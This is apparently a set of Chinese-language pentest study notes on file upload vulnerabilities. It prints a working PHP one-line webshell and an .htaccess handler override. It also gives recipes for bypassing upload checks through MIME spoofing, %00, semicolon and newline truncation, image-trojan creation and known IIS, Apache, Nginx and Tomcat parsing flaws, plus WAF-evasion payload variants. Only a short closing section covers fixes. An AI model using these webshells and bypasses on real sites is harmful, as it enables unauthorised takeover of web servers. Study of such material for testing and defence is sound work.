文件上傳漏洞
原理:
web應用中對於上傳文件的功能沒有進行嚴格的驗證和過濾,
導致攻擊者可以上傳任意文件,例如一句話木馬(又被稱為Webshell)控制整個網站
經典的一句話木馬:
<?php @eval($_POST['shell']);?>
$_POST[]:在php中是一個預定義好的變量,通過它可以獲取到前端表單提交方法為post的表單中的數據
eval():將字符串作為代碼來執行,在前面加上@(錯誤操作控制符)會抑制該函數產生的錯誤信息。
這樣我們就可以通過將一個文件內容為<?php @eval($_POST['shell']);?> 的php腳本文件上傳到服務器,
再通過網站管理工具antSword,chopper(中國菜刀)等去連接,shell為參數,也為連接密碼.
常見繞過:
前端JS繞過
刪除前端檢查文件的相關代碼,保存頁面提交
burp抓包改包(前提該功能沒有用純js實現上傳,不然抓不到數據包)
黑名單:(asp,jsp,php,aspx,cgi,war...)
白名單(jpg,png,jpeg,zip,mp3,gif,rar...)
MIME繞過:
上傳圖片中請求頭中的Content-Type字段為:image/gif,image/jpeg等
上傳腳本文件為application/octet-stream
通過對數據包中Content-Type的偽造來繞過
內容檢測:
文件頭檢測
顧名思義更改數據包中文件頭信息,php改為jpg讓服務器以為是圖片
突破getimagesize()和exif_imagetype()
配合文件包含漏洞上傳圖片馬包含執行
邏輯問題:二次渲染跟條件競爭
根據用戶上傳的圖片生成新的圖片,將原始圖片變為縮略圖,后綴會被改等導致圖片馬失效
第一步 上傳文件
第二步 對文件進行二次操作(驗證,重命名等) 容易產生條件競爭漏洞
應將驗證放在上傳文件前,因為驗證放到后邊時后門已經上傳到了服務器上
Apache .htaccess文件繞過
上傳.htaccess更改apache配置 上傳自定義后綴解析執行
<FilesMatch "shell">
setHandler application/x-httpd-php
</FilesMatch>
匹配到文件名包含shell字符串的文件當作php解析
%00截斷
例如:webshell.php%00.jpg
get會自動解碼 能夠識別%00並截斷
post不會識別 反而會將%00進行url編碼成%25%30%30
所以post截斷的時候必須把%00進行url解碼,解碼后的字符是真正的想要的%00
圖片馬
windows下dos命令 copy 1.jpg /b+shell.php /a webshell.jpg
得到圖片馬webshell.jpg
目錄命名webshell.php/.
.php/.繞過了代碼層的檢驗,服務器保存為webshell.php
配合中間件漏洞(Apache,IIS,weblogic...)
CVE-2017-12615 Tomcat任意文件上傳漏洞
影響版本7.0.0-7.0.79(7.0.81修復不完全)
上傳jsp后門導致接管網站
IIS5.x/6.0解析漏洞
第一種 目錄解析
在網站下建立文件夾名為xxx.asp ,xxx.asa的文件夾,文件夾內的任何擴展名的文件都會被IIS當作asp,asa文件來解析執行
例如/file.asp/1.jpg
1.jpg會被當做asp文件執行
第二種 分號后面的不被解析
xxx.asp;.jpg
會被當做xxx.asp
Apache 低版本1.x/2.x未知擴展名解析漏洞
從右向左識別,例如xxx.php.asd.asdw上傳會被當做xxx.php執行
Apache HTTPD 換行解析漏洞(CVE-2017-15715)
2.4.0~2.4.29版本在解析php時,1.php\x0A將被按照php后綴進行解析,導致繞過服務器的一些安全策略
1.php被攔截
1.php\x0A不攔截
訪問1.php%0a能夠解析
Nginx文件名邏輯漏洞(CVE-2013-4547)
影響版本:Nginx 0.8.41~1.4.3/1.5.0~1.5.7
上傳1.jpg
訪問1.jpg
Nginx解析漏洞
該漏洞由於用戶配置不當
訪問1.jpg和1.jpg/.php即可執行圖片馬
上傳漏洞檢測思路
是否二次渲染
中間件信息?IIS,apache,tomcat,nginx
操作系統信息 windows or linux?
WAF繞過及安全修復
常見繞過方法:
數據溢出(垃圾數據填充)-防匹配
Content-Dispostion:formdata;
asdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxcasdasdasdzxczxc;//注意垃圾數據結束加分號
name="upload_file";
filename="shell.php"
符號變異-防匹配(' " ;):
filename="shell.php或者'shell.php 成功繞過,shell.php"或者shell.php'攔截
waf匹配的時候分三種情況
1:將"shell.php整個匹配到
2:將shell.php匹配到
3:由於雙引號沒閉合,不匹配(上傳成功)
原因:waf從后找雙引號或者單引號往前匹配上傳的文件先經過waf
由於沒閉合,waf沒匹配到,放到后端 后端卻可以正常接收到shell.php實現繞過
數據截斷:(%00 ; 換行符\n)
分號截斷:filename="x.jpg;.php"
換行符截斷:filename="x.p
h
p"
文件名為x.p\nh\n\np
重復數據(參數多次):
filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";filename="x.jpg";......filename="x.php";
借助白名單
filename="Content-Disposition:form-data; name="upload_file"x.php"
修復方案
后端驗證:采用服務器端的驗證模式
后綴檢測:基於黑名單,白名單過濾
MIMIE檢測:基於上傳自帶類型檢測
內容檢測:文件頭,完整性檢測
自帶函數過濾:參考upload-labs里的函數
自定義函數過濾:function check_file(){}
WAF防護產品:寶塔,雲盾,各大安全公司產品等